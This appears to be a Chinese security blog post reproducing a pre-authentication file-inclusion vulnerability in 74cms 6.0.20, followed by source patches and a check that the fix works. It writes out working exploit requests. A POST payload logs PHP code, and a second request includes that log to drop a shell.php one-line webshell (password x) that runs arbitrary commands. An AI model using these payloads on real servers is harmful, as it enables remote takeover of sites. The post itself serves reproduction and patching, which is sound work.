74cms 6.0.20版本文件包含漏洞复现

微信公众号:乌鸦安全 

图片

扫取二维码获取更多信息!

01 漏洞描述

参考资料:

https://xz.aliyun.com/t/8021

由于74CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。

下载地址:

http://www.74cms.com/download/index.html

注意

  • 骑士cms不支持php7.x,复现php环境为php5.x即可

  • 版本低于6.0.48

本文复现版本:

74cms_Home_Setup_v6.0.20.zip

图片

02 环境搭建

phpstudy2018

74cms_Home_Setup_v6.0.20.zip

注意:

php版本为5.x,暂不支持php7

 

图片

具体的搭建流程可以参考互联网,因为很简单。

03 复现流程

  1. 访问地址:

http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tpl

图片

  1. 在安装的文件位置中已经发现了记录的错误参数,路径是  

C:\phpstudy\PHPTutorial\WWW\74cms\data\Runtime\Logs\Home

图片

  1. 进行如下请求

http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

图片

此时去看日志信息,一句话菜刀已经记录在日志里

图片

  1. 开始包含:

http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=data/Runtime/Logs/Home/21_01_20.log

 

图片

在根目录下写入shell.php文件,内容为一句话木马,包含成功

图片

在cms系统安装的根目录下生成了一个shell.php一句话木马,密码是x

http://10.211.55.9/74cms/shell.php

执行任意命令,发现执行成功

图片

 

图片

 

04 漏洞修复

  1. 在以下路径的169行进行修改

/Application/Common/Controller/BaseController.class.php

未修改前:

public function assign_resume_tpl($variable,$tpl){
        foreach ($variable as $key => $value) {
            $this->assign($key,$value);
        }
        return $this->fetch($tpl);

图片

加入下面这行代码:

$view = new \Think\View;

        $tpl_file = $view->parseTemplate($tpl);

        if(!is_file($tpl_file)){

            return false;

        }

// 修改之后的代码
public function assign_resume_tpl($variable,$tpl){
        foreach ($variable as $key => $value) {
            $this->assign($key,$value);
        } // fix 20210203
		$view = new \Think\View;
        $tpl_file = $view->parseTemplate($tpl);
        if(!is_file($tpl_file)){
            return false;
        }
        return $this->fetch($tpl);
    }

图片

  1. 以下路径的文件:

/ThinkPHP/Library/Think/View.class.php
 View.class.php文件中106行fetch方法中修改

  // 将110行

if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);

// 代码注释替换为

if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));

 

图片

 

05 修复验证

  1. 清空log文件中的内容

图片

  1. 再次写入内容

图片

写入失败,漏洞修复成功

图片

 

06 小插曲

微信公众号:乌鸦安全 

图片

扫取二维码获取更多信息!

 

 

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
骑士人才系统是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才招聘系统。骑士人才系统拥有十多年的人才招聘系统运营解决方案,同时我们提供智能化招聘系统、招考系统等全方位系统化解决方案。 骑士人才系统SE版 更懂运营的地方人才招聘系统 SE版本拥有更易用的运营方案、更高效的技术方案、更智能的数据方案、更简洁的管理方案。 骑士人才系统SE版,SE取自Special Edition的首字母,意为骑士人才系统特别版。提供免费版、创业版、标准版、专业版四个版本。 系统兼容性和环境要求 系统环境:WIN/LIN WEB服务:Apache/Nginx/IIS PHP版本:5.5及以上(建议7.0以上) MySQL版本:5.7.6及以上 产品特性 采用VUE前端框架 采用TP5.0后台框架 前后端完全分离 提高并发处理能力 支持触屏首页DIY 集成大数据画像报表 集成大数据精准营销 页面重构,提升使用体验 支持PC、触屏、APP、小程序全端 版权信息 本系统版权归骑士CMS所有。 未获商业授权之前,您不得将本软件用于任何用途。购买商业授权请联系官网。 获得商业授权之后,您可以将本软件应用于商业用途,同时依据所购买的授权类型中确定的技术支持内容,自购买时刻起,在技术支持期限内拥有通过指定的方式获得指定范围内的技术支持服务。反馈意见建议请直接联系您的专属客服,期待我们一起进步。 更新日志 v2.3.0 【新增】后台导入简历功能 【新增】移动端首页弹窗广告 【新增】后台新增生成海报及一键复制职位信息 【新增】接入百度百聘 【新增】PC首页底部引导栏 【新增】PC页面右侧固定漂浮客服 【新增】触屏SEO支持 【新增】触屏页面管理,包含缓存设置及seo设置 【新增】热门关键词管理 【新增】qq登录、微信登录开关 【新增】触屏简历漂浮生成海报 【修正】社群推文营销标签表不存在问题 【修正】微信小程序特定情况下企业名称无法填写问题 【修正】触屏地图搜索职位列表无法弹出问题 【修正】后台安全配置中的开关对触屏注册验证码不起控制作用问题 【修正】微信自定义菜单保存排序问题 【修正】pc企业会员中心套餐分页问题 【修正】触屏注册简历期望职位限制必须3级问题 【修正】积分购买增值服务扣除双倍积分问题 【修正】pc个人会员中心首页完善简历链接错误问题 【修正】休眠用户提醒生成企业数量错误问题 【修正】场景码下载路径问题 【修正】社群推文营销指定企业搜索时bug 【修正】公众号营销单企业推广中搜索企业后的职位数量不正确问题 【优化】同城-广告位分类尺寸 【优化】后台增值服务价格填写数字类型优化 【优化】购买套餐、增值服务等推荐和限时标识优化 【优化】pc发布职位时可搜索职位类型 【优化】触屏简历填写是隐藏项必填提示优化 【优化】后台删除简历、企业、会员时提示语优化 【优化】后台编辑器上传图片由base64保存方式改为url保存,减小内容长度 【优化】取消举报信息内容至少20个字的限制 【优化】举报信息错误提示遮挡问题优化 【优化】触屏注册简历在微信字段不显示的情况下重叠问题 【优化】已过期会员套餐名称显示优化 【优化】特定情况下触屏编辑简历页空白问题优化 【优化】自由职业页面标题统一 【优化】企业详情页可能感兴趣的企业区块响应 【优化】生成海报改为后端生成 【优化】触屏地图找工作标签样式 【优化】PC首页懒加载 v2.2.0 【新增】pc自由职业详情页缓存设置 【修正】微信小程序详情页底部网站名称调用缺失问题 【修正】自由职业-登记信息项目经历时间选择范围调整 【修正】自由职业-项目管理-编辑项目点击返回按钮404问题 【修正】自由职业-PC项目详情和简历详情及列表页二维码生成失败问题 【修正】计划任务批量刷新职位报错问题 【修正】触屏菜单链接自定义url无效问题 【修正】社群推文营销修改生成内容后复制内容不改变问题 【优化】社群推文营销注册、登录地址优化 【优化】移动端访问pc注册、登录页自动跳转 【优化】优化登录验证流程 【优化】底部信息关注优化 【优化】小程序分享logo调用方形Logo 【优化】后台同城分类配置列表优化 【优化】自由职业、同城路由优化 【优化】自由职业查看联系方式提示优化 v2.1.0 【修正】社群推文营销点击生成没反应问题 【修正】触屏填写企业资料时提示地区未选择问题 【修正】pc首页顶部导航帮助中心链接错误问题 v2.0.0 【新增】后台营销工具新增社群推文营销 【新增】触屏端职位详情推文营销 【新增】自由职位模块 【新增】同城信息模块 【新增】校园招聘 【新增】移动端后台 【新增】IP黑名单功能 【新增】敏感词过滤功能 【新增】管理员删除/导出权限独立设置 【新增】管理员微信绑定 【修正】微信扫码企业、职位、简历等公众号报故
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值